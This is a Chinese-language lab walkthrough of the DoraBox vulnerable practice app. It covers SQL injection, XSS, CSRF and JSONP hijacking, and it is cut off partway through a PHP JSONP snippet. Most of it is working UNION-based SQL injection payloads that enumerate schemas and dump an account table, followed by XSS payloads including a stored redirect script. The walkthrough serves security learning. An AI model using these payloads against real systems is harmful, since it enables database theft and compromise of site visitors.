DoraBox
SQL注入
SQLi 数字型
数字型,先输入1,回显正常
1 order by 3
查看字段数,得到字段数为3
-1 union select 1,2,3
,知道2,3处可以看到回显
爆库名-1 union select 1,2,database()
得到数据库名为pentest
爆表
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'
或
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆字段
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'
爆数据
-1 union select 1,2,concat_ws(",",id,rest,own) from account
SQLi 字符型
1' or '1'='1
回显正常,包裹形式为’ ’
1' order by 3#
字段数为3
-1' union select 1,2,3#
回显得到2,3
爆数据库名-1' union select 1,2,database()#
爆表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#
爆数据
-1' union select 1,2,concat_ws(",",id,rest,own) from account#
SQLi 搜索型
1' or 1=1#
回显正常(因为这次还有%需要闭合,如果用1’ or ‘1’='1后面的等式不成立)
1' order by 3#
得字段数为3
-1' union select 1,2,3#
得到回显2,3
爆数据库名-1' union select 1,2,database()#
爆表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#
爆数据
-1' union select 1,2,concat_ws(",",id,rest,own) from account#
XSS跨站
反射型和存储型是服务端的安全漏洞,DOM型是前端JavaScript自身的安全漏洞。存储型存储在服务器数据库,反射型是URL,DOM型是前端存储
XSS 反射型
<script>alert(/reflect XSS/)</script>
得到弹窗,并没有存储下来内容
XSS 存储型
先查看源码
输入<script>location.href='http://127.0.0.1/html/xss.php'</script>
后,得到
再一次进入这个网站后,会自动跳转到编写的网页
查看源码,已经将所写内容存到数据库了
XSS DOM型
<script>alert(/DOM XSS/)</script>
得到弹窗
查看源码
然后。。我迷了
CSRF
CSRF(Cross-siterequestforgery跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
示例:一个 网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。
JSONP劫持
https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jQuery.html
源码中用到了json,可以跨域因此自己写一个html
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{
$callback}(" . $p